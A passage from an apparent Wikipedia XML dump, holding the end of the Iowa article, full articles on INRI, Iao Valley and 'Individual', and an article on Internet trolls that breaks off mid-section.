*[http://www.legis.state.ia.us/IACODE Iowa Code online at Iowa General Assembly]
*[http://www.usnewspapers.org/state/iowa Iowa Newspapers]
*[http://www.ecanned.com/indsum/level1/IA/index.html Iowa Employment] - State and County Data
*[http://www.omaha-neb.com/iowa.htm Iowa News.] (civil liberties)
*[http://mcc.sws.uiuc.edu/climate_midwest/mwclimate_data_summaries.htm Midwest Regional Climate Center] (climate statistics)
*[http://KarlKing.us Karl King, Iowa's &lt;i&gt;March King&lt;/i&gt;] 


{{Iowa}}

{{USPoliticalDivisions}}

==Sources==
*[http://www.enchantedlearning.com/usa/states/iowa/ Iowa: Facts, Map and State Symbols - EnchantedLearning.com]
*[http://www.infoplease.com/ipa/A0801717.html State Symbols]
*The Graduate Center, [[City University of New York|CUNY]]: Research Studies: [http://www.gc.cuny.edu/studies/key_findings.htm American Religious Identification Survey]

[[Category:Iowa|*]]
[[Category:States of the United States]]
[[Category:1846 establishments]]
[[ang:Iowa]]
[[bg:Айова]]
[[ca:Iowa]]
[[cs:Iowa]]
[[da:Iowa]]
[[de:Iowa]]
[[et:Iowa]]
[[es:Iowa]]
[[eo:Iovao]]
[[fa:آیووا]]
[[fr:Iowa]]
[[ga:Iowa]]
[[ko:아이오와 주]]
[[id:Iowa]]
[[is:Iowa]]
[[it:Iowa]]
[[he:איווה]]
[[ka:აიოვა]]
[[lv:Aiova]]
[[lt:Ajova]]
[[hu:Iowa]]
[[mk:Ајова]]
[[nl:Iowa]]
[[ja:アイオワ州]]
[[no:Iowa]]
[[nn:Iowa]]
[[os:Айовæ]]
[[pl:Iowa]]
[[pt:Iowa]]
[[ro:Iowa]]
[[ru:Айова]]
[[sa:आयोवा]]
[[sq:Iowa]]
[[sk:Iowa]]
[[sl:Iowa]]
[[sr:Ајова]]
[[fi:Iowa]]
[[sv:Iowa]]
[[th:มลรัฐไอโอวา]]
[[uk:Айова]]
[[zh:爱荷华州]]</text>
    </revision>
  </page>
  <page>
    <title>INRI</title>
    <id>14590</id>
    <revision>
      <id>41931049</id>
      <timestamp>2006-03-02T18:29:31Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">[[Image:Krucifix2.JPG|thumb|right|A Crucifix with the INRI plaque attached, the [[Holy Spirit Church]] in [[Košice]], [[Slovakia]]]]
[[Image:Crucifix.JPG|thumb|right|A Crucifix with the stylized INRI plaque attached, the cornfields near [[Mureck]] in rural [[Styria (state)|Styria]], [[Austria]]]]
'''INRI''' is an abbreviation of the [[Latin language|Latin]] phrase '''''IESVS NAZARENVS REX IVDAEORVM''''' ('''''Iesus Nazarenus Rex Iudaeorum'''''), which translates to [[English language|English]] as: &quot;[[Jesus]] the [[Nazarene]], the King of the Jews&quot; (or, in more natural English, &quot;Jesus of [[Nazareth]], the King of the Jews&quot;).

Many [[crucifix]]es and other depictions of the [[crucifixion]] include a stylized plaque or parchment, called a titulus or title, bearing the letters INRI, occasionally carved directly into the cross, and usually just above the figure of Jesus.  

In the [[Gospel of John]] (19:19&amp;ndash;20) the inscription is explained:
:[[Pontius Pilate|Pilate]] also had an [[inscription]] written and put on the cross. It read, &quot;Jesus of Nazareth, the King of the Jews&quot;. Many of the Jews read this inscription, because the place where Jesus was crucified was near the city; and it was written in Hebrew, in Latin, and in Greek.

Some [[Eastern Orthodox Church|Eastern Orthodox Churches]] use the [[Greek language|Greek]] letters INBI based on the Greek text of the inscription on the cross, ''{{Polytonic|Ἰησοῦς ὁ Ναζωραῖος ὁ Bασιλεὺς τῶν Ἰουδαίων}}''. Many Orthodox depictions, however, change the title to ''{{Polytonic|ὁ Bασιλεὺς τοῦ κόσμου}}'' (the King of the World), not implying that this was really what was written, but that it is what should have been written.

As Pilate was loath to crucify Jesus without justification, he used the standing Roman treaty with the Jews which allowed them limited self-government.  When the Jewish priests complained that Jesus was interfering with that self-rule by holding himself to possess authority that he lacked, Pilate challenged him to deny that he was the &quot;King of the Jews&quot;.  Jesus did not deny the accusation.

Some believe that the justification for his crucifixion was his claim to an illegitimate title. However, John 19:21&amp;ndash;22 KJV, alludes that Pilate rejected the charge that Jesus was crucified because he falsely claimed to be king and instead stated that Jesus was crucified because he ''was'' the King of the Jews. Thus, some Christians claim that Pilate was personally convinced that Jesus was the [[Jewish Messiah]]. The consequence of this is taken to the logical extreme by the [[Ethiopian Orthodox Tewahedo Church]], which regards Pilate as a [[saint]] (commemorated on [[June 25]]) based on a tradition of his conversion to Christianity and [[martyr]]dom by crucifixion. Most historians outside the Ethiopian church have rejected this tradition as spurious.

Conspiracy theories regarding the Society of Jesus — the [[Jesuits]] — accused them of harboring the secret meaning of ''Iustum Necare Reges Impios'', interpreted to mean sanctioning the murder of impious kings or tyrants who opposed the [[Roman Catholic Church]]. 

See [[Jewish Messiah]] and [[Jewish eschatology]] for related concepts in [[Judaism]].

[[Category:Jesus]]
[[Category:Christian symbols]]

[[cs:INRI]]
[[de:INRI]]
[[es:Inri]]
[[fr:INRI]]
[[id:INRI]]
[[it:INRI]]
[[la:INRI]]
[[nl:INRI]]
[[pt:INRI]]
[[sv:INRI]]</text>
    </revision>
  </page>
  <page>
    <title>Iao Valley</title>
    <id>14591</id>
    <revision>
      <id>28532123</id>
      <timestamp>2005-11-16T20:52:33Z</timestamp>
      <contributor>
        <username>Peter Delmonte</username>
        <id>322475</id>
      </contributor>
      <minor />
      <comment>/* History */</comment>
      <text xml:space="preserve">[[Image:iaovalley_sm.jpg|thumb|250px|Right|''&amp;#298;'ao Valley'']]

The '''&amp;#298;&amp;lsquo;ao Valley''' is a lush, stream cut valley in West [[Maui]],  [[Hawaiian Islands]] located 5 km (3 mi) west of [[Wailuku, Hawaii|Wailuku]], at {{coor dms|20|52|51|N|156|32|42|W|}}. ''&amp;#298;&amp;lsquo;ao'' means &quot;cloud supreme&quot;.  Because of its natural beauty it has become one of [[Hawaii]]'s most popular locations to visit on Maui.

== &amp;#298;&amp;lsquo;ao Valley State Monument ==
[[Image:Iao_Needle.jpg|thumb|left|200px|The &amp;#298;&amp;lsquo;ao Needle]]

The state park is located on 6.2 acres (2.5 hectares) at the end of Iao Valley Road (Highway 32).  The '''&amp;#298;&amp;lsquo;ao Needle''' is a famous landmark in the state park.  It is a lava remnant rising 1200 feet (365 m) into the air 2250 ft (685 m) measured from sea level), covered with vegetation.  The needle is surrounded by the cliffs of  the dormant volcano, [[Puu Kukui|Pu&amp;lsquo;u Kukui]]. One can take a short trail to a windy overlook for some good views.  Park hours are from 7 am to 7 pm.

&lt;br clear=all&gt;

== Rainforest ==

&amp;#298;&amp;lsquo;ao  Valley is considered to be the second wettest spot in the state, after [[Mount Waialeale|Mount Wai&amp;lsquo;ale&amp;lsquo;ale]] on [[Kauai|Kaua&amp;lsquo;i]].  The valley and the surrounding [[West Maui Mountains]] can receive more than 400 inches (more than 10,000 mm) per year which ends up flowing into the &amp;#298;'ao Stream. Trails in the State Park run alongside &amp;#298;'ao  Stream and through the forest, making it a nice place for a short hike, if you don't mind the chance of getting wet.

== History ==

The Hawaiian god [[Kane Milohai|Kane]] is considered to be the procreator and the provider of life.  He is associated with [[wai (water)|wai]] (fresh water) as well as clouds, rain, streams and springs. [[Tangaroa|Kanaloa]], the Hawaiian god of the ocean, is represented by the phallic stone of the &amp;#298;'ao Needle.  

During the late 15th century, &amp;#298;&amp;lsquo;ao  Valley was designated as an [[Alii|Ali&amp;lsquo;i]] burial area by [[Kakae|Kaka&amp;lsquo;e]], the ruler of Maui and O&amp;lsquo;ahu.  The remains of the chiefs were buried in secret hiding places in the valley.  In [[1790]] the valley was the site of the '''Battle of Kepaniwai'''.  It was the battle in which [[Kamehameha I of Hawaii|Kamehameha the Great]]  defeated [[King Kalanikupule]] and conquered the Maui army in order to unify the islands.  The battle was said to be so bloody that dead bodies blocked the Iao Stream, and in turn, the battle site was named ''Kepaniwai'' (&quot;damming of the waters&quot;).

== Kepaniwai Park's Heritage Gardens ==

Since 1952, Kepaniwai Park's Heritage Gardens have memorialized the multicultural history of Maui.  Scale models of ethnic buildings and gardens representing the immigration of Caucasians, Filipinos, Hawaiians, Japanese, and Portuguese cultures are the highlight of the park.  The gardens were restored in 1994.

[[Category:Valleys]]
[[Category:Hawaii state parks]]

[[de:Iao Valley]]</text>
    </revision>
  </page>
  <page>
    <title>International trade/Risks</title>
    <id>14592</id>
    <revision>
      <id>15912134</id>
      <timestamp>2002-05-30T06:23:24Z</timestamp>
      <contributor>
        <username>WojPob</username>
        <id>34</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[International trade]]
</text>
    </revision>
  </page>
  <page>
    <title>Individual</title>
    <id>14593</id>
    <revision>
      <id>40157501</id>
      <timestamp>2006-02-18T16:22:48Z</timestamp>
      <contributor>
        <ip>86.133.223.154</ip>
      </contributor>
      <comment>Tidy up</comment>
      <text xml:space="preserve">In [[vernacular|common speech]], the word '''individual''' most often refers to a [[person]], or, by analogy, to any specific object in a group of things. For example, you the reader are an individual person, and a lawn is made of individual blades of grass. Originally, in the 15th century or earlier, the term meant &quot;[[indivisible]]&quot; as still used in statistics (see below), but from the seventeenth century on the term indicated separateness, as in [[individualism]]. (Abbs 1986, cited in Klein 2005, p.26-27)

In [[metaphysics]] and [[statistics]], the word '''individual''', while sometimes meaning &quot;a person&quot;, more typically describes any numerically singular thing.  Used in many contexts, both 'Socrates' and 'the Moon' denote individuals; 'grapefruit' and 'redness' (generally) do not. 'Individual' as a piece of philosophical jargon is much-bandied and often to be found in the company of ''[[particular]]'' -- indeed, often treated as ''synonymous with'' 'particular' (though one wonders if abstract particulars can count as individuals) -- and contrasted with '[[universal]]'.

== References ==
* Gracia, Jorge J. E. (1988). Individuality: An Essay on the Foundations of Metaphysics. : State Univ of New York Pr. 
*Klein, Anne Carolyn (1995). ''Meeting the Great Bliss Queen: Buddhists, Feminists, and the Art of the Self''. ISBN 0807073067.

==See also==
* [[Atom (disambiguation)|Atom]]
* [[Consciousness]]
* [[Cultural identity]]
* [[Identity]]
* [[Individualism]]
* [[Person]]
* [[Self]]

[[Category:Metaphysics]]

[[da:Individ]]
[[de:Individuum]]
[[et:Indiviid]]
[[eo:Individuo]]
[[fr:Individu]]
[[hu:Individuum]]
[[io:Individuo]]
[[ja:個人]]
[[no:Individ]]
[[pt:Indivíduo]]
[[sv:Individ]]</text>
    </revision>
  </page>
  <page>
    <title>Internet troll</title>
    <id>14594</id>
    <revision>
      <id>42160322</id>
      <timestamp>2006-03-04T05:30:51Z</timestamp>
      <contributor>
        <username>Stereoisomer</username>
        <id>263784</id>
      </contributor>
      <minor />
      <comment>replaced poor examples of troll quotes</comment>
      <text xml:space="preserve">[[Image:Internet_Troll.png|190px|right|Internet Troll]]
In [[Internet]] [[terminology]], a '''troll''' is a person who posts rude or offensive messages on the Internet, such as on [[Internet forum|online discussion forums]], to disrupt discussion or to upset its participants. &quot;Troll&quot; can also mean the message itself or be a verb meaning to post such messages. &quot;Trolling&quot; is also commonly used to describe the activity. For more discussion on definitions, see below.

== Etymology ==
The contemporary use of the term first appeared on [[Usenet]] groups in the late [[1980s]]. It is widely thought to be a contraction of the phrase &quot;trolling for suckers&quot;, itself derived from the [[sport fishing]] technique of [[trolling for fish|trolling]]. The latter can be compared with [[trawling]], of which it is a near [[homophone]].

The word likely gained currency because of its apt second meaning, drawn from the &quot;[[troll]]s&quot;, which are portrayed in [[Scandinavia]]n [[folklore]], and children's tales, as often ugly, obnoxious creatures that are bent on [[wickedness]] and mischief. The image of the troll under the bridge in the &quot;[[Three Billy Goats Gruff]]&quot; emphasizes the troll's negative reaction to outsiders intruding on its physical environment, particularly those who intend to graze in its domain without permission.

== Vicious circles ==
For many people, the characterising feature of trolling is the perception of intent to disrupt a community in some way. Inflammatory, sarcastic, disruptive or humorous content is posted, meant to draw other users into engaging the troll in a fruitless confrontation. The greater the reaction from the community the more likely the user is to troll again, as the person develops beliefs that certain actions achieve his/her goal to cause chaos. This gives rise to the often repeated protocol in Internet culture: &quot;Do not feed the trolls.&quot;

Often, a person will post a sincere message about which he is emotionally sensitive.  Skillful trolls know that an easy way to upset him is to disingenuously claim that he is a &quot;troll.&quot;  On other occasions, a person may not instantly understand, or fit into the [[Norm (sociology)|social norms]] of a forum where most users have similar characteristics. As a result, his acting just slightly out of the norm (often unintentionally, and for legitimate reasons) garners him the label &quot;troll.&quot; It can sometimes be difficult to distinguish between a user who merely has different values, views or ideas, and a user who is intentionally trolling; unfortunately, many users react aggressively on a first impression to a perceived troll, which sometimes leads disgruntled [[newbie]]s or political minorities to be perceived trolls.

== Troll culture ==
The long history of trolling, and the strong support for [[Anonymity|anonymous]] and [[pseudonym]]ous discourse on the Internet, suggests that the story of the &quot;anonymous troll&quot; is only beginning. Whether there can be a &quot;culture&quot; consisting of people who do not know each other, except through a common experience of being bounced from Internet forums, is questionable, but some do claim it is possible and already occurring.

There is strong evidence for this in the existence of forums that claim to exist specifically to support trolls and trolling, to exchange troll tips, and to identify targets that other trolls might fruitfully bait or debate.

Trolling culture is best observed in trolls, who do not know each other, working together. Because the common methods of creating inflammatory posts are well known, and a subject of jokes in many places on the Internet, it is sometimes possible for a troll to identify another troll in action. A troll, trolling another troll, often creates massive amounts of pretend drama between them that are taken seriously by non-troll observers (especially if they take sides). The end result is that the two trolls can work together to force a conversation to go off topic, or center a forum's discussion around themselves, more effectively than on their own.

==Trolling as identity deception==

===Pre-history===
Prior to [[Deja News|DejaNews]]' archiving of [[Usenet]], accounts of trolling were sketchy, there being little evidence to sort through. After that time, however, the huge archives were available for researchers. Perhaps the earliest, although poorly documented, case is the [[1982]]-[[1983|83]] saga of AlexAndJoan from the [[CompuServe]] forums. Van Gelder, a reporter for [[Ms. magazine]], documented the incident in [[1996]] in an article for her publication. Alex (in [[real life]] a very shy 50 year old [[Psychiatry|psychiatrist]] from [[New York]]) pretended to be a highly bombastic, anti-religious, post-car-accident, [[wheelchair]]-bound, [[mute]] woman, named, &quot;Joan&quot;, &quot;in order to better relate to his female patients&quot;. This went on for two years, and &quot;Joan&quot; had become a hugely detailed character, with an array of emotional relationships. These only began to fall apart after &quot;Joan&quot; coaxed an online friend of hers into an affair with Alex.

:&quot;''Even those who barely knew Joan felt implicated &amp;mdash; and somehow betrayed &amp;mdash; by Alex's deception. Many of us on-line like to believe that we're a [[utopia]]n community of the future, and Alex's experiment proved to us all that technology is no shield against deceit. We lost our [[innocence]], if not our [[faith]].''&quot; (Van Gelder, 1996, p.534)

===Trolling in the 1990s===
One early reference to &quot;troll&quot; found in the [[Google#Google_Groups|Google Usenet archive]] was by user &quot;Mark Miller&quot;, directed toward the user, &quot;Tad&quot;, on [[February 8]], [[1990]] [http://groups-beta.google.com/group/alt.flame/browse_thread/thread/44c94ccfa7ede2bf/80135728c2dc034b?q=troll&amp;_done=%2Fgroups%3Fhl%3Den%26safe%3Doff%26q%3Dtroll%26qt_s%3DSearch+Groups%26as_drrb%3Db%26as_mind%3D8%26as_minm%3D2%26as_miny%3D1990%26as_maxd%3D11%26as_maxm%3D2%26as_maxy%3D1990%26&amp;_doneTitle=Back+to+Search&amp;&amp;d#80135728c2dc034b]. However, it is unclear if this instance represents a usage of &quot;troll&quot; as it is known today, or if it was simply a chance choice of [[Epithet#Linguistics|epithet]]:
:&quot;''You are so far beyond being able to understand anything anyone here says that this is just converging on uselessness. The really sad part is that you really believe that you're winning. You are a shocking waste of natural resources &amp;mdash; kindly re-integrate yourself into the [[Food chain|food-chain]]. Just go die in your sleep you mindless [[Flatulence|flatulent]] troll.&quot;''

The more likely derivation can be found in the phrase, &quot;trolling for newbies&quot;, popularized in the early [[1990s]] in the Usenet group, ''alt.folklore.urban''. The usage was somewhat different from the current notion of trolling; it was a relatively gentle inside joke by veteran users, presenting questions or topics that had been so overdone, only a new user would respond to them earnestly. Others expanded the term to include the practice of playing a seriously misinformed or deluded user, even in [[newsgroup]]s where one was not a regular; these were often attempts at humor, rather than provocation. In such contexts, the noun, &quot;troll&quot;, usually referred to an act of trolling, rather than to the author.

Some long-time Usenet users continued to insist on these earlier definitions, even after the term was applied more generally to inflammatory actions, previously characterized as &quot;[[flamebait]]&quot;.

== Identity ==
In serious [[literature]], the practice was first documented by [[Judith Donath]] ([[1999]]), who used several [[Anecdote|anecdotal]] examples from various Usenet newsgroups in her discussion.  Donath's paper outlines the ambiguity of identity in a disembodied &quot;[[virtual community]]&quot; [http://smg.media.mit.edu/people/Judith/Identity/IdentityDeception.html]:

:&quot;''In the physical world there is an inherent unity to the self, for the body provides a compelling and convenient definition of identity. The norm is: one body, one identity. ... The virtual world is different. It is composed of information rather than matter.''&quot;

Donath provides a concise overview of [[identity deception]] games which trade on the confusion between physical and [[epistemic community]]:

:&quot;''Trolling is a game about identity deception, albeit one that is played without the consent of most of the players. The troll attempts to pass as a legitimate participant, sharing the group's common interests and concerns; the newsgroups members, if they are cognizant of trolls and other identity deceptions, attempt to both distinguish real from trolling postings, and upon judging a poster a troll, make the offending poster leave the group. Their success at the former depends on how well they &amp;mdash; and the troll &amp;mdash; understand identity cues; their success at the latter depends on whether the troll's enjoyment is sufficiently diminished or outweighed by the costs imposed by the group.

:''Trolls can be costly in several ways. A troll can disrupt the discussion on a newsgroup, disseminate bad advice, and damage the feeling of trust in the newsgroup community. Furthermore, in a group that has become sensitized to trolling &amp;mdash; where the rate of deception is high &amp;mdash; many honestly naïve questions may be quickly rejected as trollings. This can be quite off-putting to the new user who upon venturing a first posting is immediately bombarded with angry accusations. Even if the accusation is unfounded, being branded a troll is quite damaging to one's online reputation.''&quot; (Donath, 1999, p. 45)[http://smg.media.mit.edu/people/Judith/Identity/IdentityDeception.html]

==Usage==
{| align=right width=150px style=&quot;font-size:90%; margin: 0em 0em .5em 1em; line-height:1.25em;&quot;
| align=center | [[Image:DoNotFeedTroll.jpg|150px|&quot;Please do not feed the troll&quot; images are meant to tell others not to encourage trolls by reacting to them.]]&lt;br&gt;&lt;br&gt;&quot;Please do not feed the troll&quot; images are meant to tell others not to encourage trolls by reacting to them.
|}
The term ''troll'' is highly subjective. Some readers may characterize a post as ''trolling'', while others may regard the same post as a legitimate contribution to the discussion, even if controversial.  The term is often used to discredit an opposing position, or its proponent, by argument [[ad hominem]]. Likewise, calling someone a troll makes assumptions about a writer's motives that may be incorrect.  Regardless of the writer's motives, controversial posts are likely to attract a corrective or patronizing or outraged response by those who do not distinguish between real physical [[community]] (where people are actually exposed to some shared risk of bodily harm by their actions), and [[epistemic community]] (based on a mere exchange of words and ideas). Customs of discourse, or [[etiquette]], originating in physical communities are often applied naively to online discourse by newcomers who are not used to the range of views expressed online, often anonymously. Hence, both users and posts are commonly, and sometimes inaccurately, labelled as ''trolls'' when their content upsets people — ironically, the accusatory labeling of a troll may be more disruptive than the original alleged offense itself. Also, people may be more inclined to use epithets like ''troll'' in online public discussion than they would be in person, because online forums may seem more impersonal. PDNFTT is a common [[initialism]] for Please Do Not Feed The Trolls. There is a quote on [[The Internet Movie Database|IMDb]] that the common troll does not understand the words 'opinion' and 'leave', meaning that it feels it has superior opinions and will not quit until reaching its own trolling satisfaction.

When appropriately applied to purposefully disruptive online behavior, the word ''troll'' economically converts an abstract code of online manners into a concrete image.  Experienced participants in online forums know that the most effective way to discourage a troll is usually to ignore him or her, because responding encourages a true troll to continue disruptive posts to that forum &amp;mdash; hence the often-seen warning, &quot;Please do not feed the Troll&quot;. Posting this warning publicly, in reply to a troll's behavior to discourage further replies, may discourage the troll. However, it can also have the reverse effect, becoming itself food for the troll. Therefore, when a forum participant sees an apparently innocent answer to a troll as potential troll food, it may be more prudent to deliver the &quot;Please do not feed the Troll&quot; warning in a private message to the answerer (e.g., by [[email]], or to the answerer's [[wiki]] [[Wikipedia:Talk page|Talk page]]).

==Trolling in different Internet media==
Trolling takes distinct forms in different media; it started on newsgroups, and as the Internet has evolved, so has trolling.

* [[Usenet]] &amp;mdash; hierarchies of newsgroups limit trolls' exposure, but cross-posting can overcome this. Some [[Internet service provider]]s limit the number of newsgroups to which a message can be cross-posted. In a notable example, ''alt.net'', instituted a cross-post limit after the trolls on the system had become so notorious that [[Peter da Silva]] instituted a campaign for other systems to cease exchanging news with alt.net until they did something about the problem.
* [[Mailing lists]] are usually controlled by moderators, so unwanted contributors can quickly be banned.
* [[SlashCode]]-based forums use a rating system so that readers can moderate a post up or down from its initial rating. Readers can then choose to ignore posts that others have &quot;modded down.&quot; Timing of trolls is particularly important, since earlier posts are more likely to be read than later posts. An ideal troll would generate much heated discussion and posting without further intervention from the troll.
* [[Wiki]]s &amp;mdash; the flat, asynchronous and open model allows anyone to post anything; users work to undo negative changes using the built-in reversion tools, but this requires hundreds of volunteers to monitor large popular sites. Trolls tend to be more subtle than in discussion groups, often posting material that could be legitimate, but will cause controversy by challenging the current [[power structure]]. Difficulty is compounded by the impossibility of discerning whether a user is simply espousing a controversial opinion, or trolling.
* [[Weblog]]s &amp;mdash; in their most common form as a personal soapbox with the ability for anybody to leave comments, popular weblogs often make effective springboards for trolls, either as inflammatory comments or provocative entries. The ease with which weblogs can be linked encourages troll propagation.
* [[Internet Relay Chat|IRC]] &amp;mdash; the open nature of most IRC channels on popular networks enables a troll to enter and utilise any of a range of techniques, ranging from simple [[crapflooding]] to subtly irritating remarks which trigger angry responses. The ease of evading bans from channels and servers and the volatile nature of many IRC users can allow trolls to perpetuate indefinitely.
* [[Multiplayer]] [[first person shooter]]s &amp;mdash; online gaming attracts a large number of teenage males, who take advantage of the combative atmosphere and their general anonymity to disparage other players. See [[pwn]] or [[noob]] for more information. [[team killer|Team killing]] and [[griefing]] -- breaking the social rules of the game to harass other players -- can also be considered similar.
* Online Fantasy Sports &amp;mdash; A troll will infiltrate a free, online league with multiple teams from different identity accounts and then attempt to make lopsided trades of players to improve one team. The troll will leave numerous messages on the league bulletin board from different identities to give the appearance of legitimacy to otherwise illicit behavior. Players that object to the obvious charade may be showered with insults and other attempts at evasion.
*[[Internet forum|Web forums]] &amp;mdash; Forums of all kinds attract trolls, whose behavior differs little from the above examples. Few forums are free of trolls, except for very small sites and those with very strict policies on trolling.

==Prison time for trolling?==
On [[January 5]], [[2006]], [[United States]] [[President of the United States|president]] [[George W. Bush]] signed into law the [[Violence Against Women and Department of Justice Reauthorization Act]][http://news.zdnet.com/2100-1009_22-6024695.html?tag=nl.e589], which, among other things, places a prohibition on using the Internet to transmit, solicit, or create anonymous messages containing obscenity intended to &quot;annoy, abuse, threaten, or harass&quot; another person.[http://www4.law.cornell.edu/uscode/html/uscode47/usc_sec_47_00000223----000-.html] Criminal penalties include large [[fine]]s and up to two years in [[prison]]. Concern has been raised as to the Constitutional legality of the law, as critics allege that it infringes upon the [[First Amendment to the United States Constitution]], which guarantees every U.S. [[citizenship|citizen]] the right to [[free speech]]. This does not necessarily affect all trolls; however, it makes illegal the common trolling tactic of posting links to [[shock site|shock sites]] containing obscene material.

==Examples==
=== One-shot trolls ===
One-shot troll messages are intended to be disruptive, and tend to be very obvious to ensure that they will receive annoyed replies.

=== Disruptive trolls ===
* [[Off topic]] messages: Those that are irrelevant to the focus of the forum.  This can also be done in the middle of an existing thread to attempt to hijack the thread, or otherwise change the topic at hand.
* Page [[Thread breaking|breaking]]: Filling up fields with large pictures or characters to make previous posts unreadable. A skilled troll will use an extremely wide and narrow picture that blends into the forum background to make it harder to catch.
* Offensive media: Annoying sound files or disturbing pictures in a message, or linking to [[shock sites]] that contain such media. Often these links are disguised as legitimate links.
* Inflammatory messages, including [[racist]], [[sexist]], [[classist]] or otherwise needlessly hateful comments.
* Opinionated statements: Posting messages expressing their own opinions as generally accepted facts without offering any proof or analysis.
* Spoiling: Deliberately revealing the ending or an important part of movie, book, game etc.
* [[Bump (internet)|Bumping]] an old discussion, or rehashing a highly controversial past topic, particularly in smaller online communities.
* Deliberate and repeated misspelling of other people's nicks in order to disturb or irritate them in a conversation.
* Promising nonexistent [[pornography]] to people who post in the forum, producing an interminable flood of &quot;[[me too|please send]]&quot; messages (especially common in the [[alt.sex]] Usenet hierarchy in the mid-1990s) [http://groups.google.com/group/alt.sex/browse_frm/thread/58cde5e8022c292e/478e88c152e6b67b] [http://groups.google.com/group/alt.sex/browse_frm/thread/239abd534a03819f/f493eb2332e312d3]

=== Attention-seeking trolls ===
This class of trolls seeks to incite as many responses as possible and to absorb a disproportionate share of the collective [[attention span]].

* Advertising another forum, especially a rival or a hated forum.
* Claiming to be someone they cannot possibly be: &quot;As an actual, real-life [[samurai]], I have some problems with (the film) ''[[The Seven Samurai]]''.&quot;
* No longer having affiliation to or current knowledge of the subject at hand, yet continually posting opinions and commentary as &quot;experts&quot;.
* Messages containing a deliberate flaw or error: &quot;I think ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'' is [[Roman Polanski]]'s best film.&quot;
* Asking for help with an implausible task or problem: &quot;How do I season my Crock Pot? I don't want everything I cook in it to taste the same.&quot;
* Intentionally naive questions: &quot;Can I cook pasta in [[Evian]] instead of water&quot;
* Intentional typos: &quot;Does anyone have a copy of [[Super Mario Bros.|Super Maria Bras.]] for the [[Nintendo Entertainment System|Nintendo]]?&quot;
* Messages containing a self-referential appeal to status. &quot;[[Pepsi|Pepsi-Cola]] is for [[white trash]]. I prefer a real soft drink like [[Coke|Coca-Cola]].&quot;
* Intentionally posting an outrageous argument, deliberately constructed around a fundamental but obfuscated flaw or error. Often the poster will become defensive when the argument is refuted, and may continue the [[thread]] through the use of further flawed arguments; this is referred to as &quot;feeding&quot; the troll.
* A subclass of the above is the [[invalid proof|flawed proof]] of an important unsolved [[mathematics | mathematical]] problem or impossibility (e.g. 1 = 2); however, these may not always be troll-posts, and are sometimes, at least, mathematically interesting.
* Politically contentious messages: &quot;Everyone knows that all Republicans/Democrats are evil.&quot;
* Posting politically sensitive images in inappropriate places.
* Feigning innocence, after a [[flamewar]] ensues. 
* Off-topic complaints about personal life, even threats of suicide: sometimes, this is the &quot;cry for help&quot; troll.
* Plural or paranoid answers to personal opinions expressed by individuals: &quot;I don't think that all of you really believe that -— you're just ganging up on me!&quot;
* Paramour trolls get a thrill from establishing serial online affairs with females of a group. This incites public rivalry among the women who once thought the nicknames, poetry, and declarations of affection were exclusive to them.  Since the online love affair is developed separately in chat programs, it takes a long time for the online cat-fight to be detected.
* Combinations of the above. For example, a troll combines inflammatory statements with poor grammar and [[Internet slang]] (aka 'netspeak' or 'chatspeak'): &quot;lmfao! d00d, ur so week minded an predictable i thought i wan iggied i play ya like a card&quot;

===Other examples===
Some trolls may denounce a particular [[religion]] in a religion newsgroup, though historically, this would have been called &quot;[[flamebait]]&quot;. Like those who engage in [[flaming]], self-proclaimed or alleged Internet trolls sometimes resort to [[innuendo]] or misdirection in the pursuit of their objective. It is possible to distinguish between comments that are flamebait and as a result of trolling: flames have the intent of being anti-social and offensive, while trolling comments are intended to provoke a reaction, though trolling comments may also be perceived as being anti-social, although that may not have been the intent of the author.&lt;!--What exactly does this last sentence mean? Too subtle a point for me!--&gt;

A variant of the second variety ([[inflammatory]] messages) involves posting content obviously at odds with the (stated or unstated) focus of the group or forum; for example, posting [[cat]]-meat recipes on a [[pet]] lovers forum, posting [[evolution]]ary theory on a [[creationism|creationist]] forum (or vice versa), or posting messages about how all [[Western dragon|dragon]]s are boring in the [[usenet|USENET]] group ''alt.fan.dragons''.

The &quot;[[Internet sock puppet|sock-puppet]]&quot; troll enters a forum using several different identities. As provocative postings from one identity draw increasingly critical comment from other forum members, the troll enters the discussion under a second identity in support of the first. Alternatively, the troll may under the second identity criticise the first in order to develop credibility or esteem on the forum. 

[[Cross posting|Cross-posting]] is a popular method of Usenet trolls: a cross-posted article can be discussed simultaneously in several unrelated and/or opposing newsgroups; this is likely to result in a [[flame war]].  For instance, an anti-[[fast food]] flame bait might be cross-posted to healthy eating groups, [[environmentalist]] groups, [[animal rights]] groups, as well as a totally off-topic [[artificial intelligence]] newsgroup.

An example of a successful troll is the well-known &quot;Oh how I envy American students&quot; [[Usenet|USENET]] [[thread]] which had 3,000-odd follow-ups. A new USENET newsgroup, &quot;alt.genius.bill-palmer&quot;, was created by [http://igor.chudov.com/ Igor Chudov] for the purpose of creating an outlet for discussing a controversial USENET personality, [[Bill Palmer]], himself an alleged USENET troll who managed to make his personality the center of all discussions. A swirl of messages attempting to disprove his alleged status as [[genius]], cross-posted to hell and back, made &quot;a.g.b-p&quot;, the most popular new &quot;alt.*&quot; newsgroup of the year. Its creator was [http://www.cyberussr.com/hcunn/usenet/palm-chudov.html nominated] for the &quot;Troll of the Year [[1996]]&quot; award.

==Motivation==
Self-proclaimed &quot;trolls&quot; may style themselves as [[devil's advocate|devil's advocates]], [[Gadfly (social)|gadflies]] or &quot;[[culture jamming|culture jammers]]&quot;, challenging the dominant discourse and assumptions of forum discussions in an attempt to break the [[status quo]] of [[groupthink]] &amp;mdash; the belief system that prevails in their absence.

Some critics claim that genuine &quot;devil's advocates&quot; generally identify themselves as such, out of respect for etiquette and courtesy, while trolls may dismiss etiquette and courtesy altogether. Most discussion of what motivates Internet trolls comes from other Internet users who claim to have observed trolling behavior. There is little scholarly literature to describe either the term or the phenomenon. The comments of accused trolls might be unreliable, since they may, in fact, be intending to stir controversy, rather than to advance understanding of the phenomenon. Likewise, accusers are often motivated by a desire to defend a particular Internet project, and references to an Internet user as a troll might not be based on the actual goals of the person so named.  As a result, identifying the goals of Internet trolls is most often [[speculation|speculative]]. Still, several basic goals have been attributed to Internet trolls, according to the type of disruption they are believed to be provoking.

Further complicating the issue, many accusatory labelers fail to first question whether the alleged &quot;troll&quot; material actually is disruptive (a requisite component of trolling behavior) before being declared as such. Thus, many &quot;trolls&quot; are born of a second party's too-quick own inference of intent, accurate or not.

Proposed motivations for trolling:
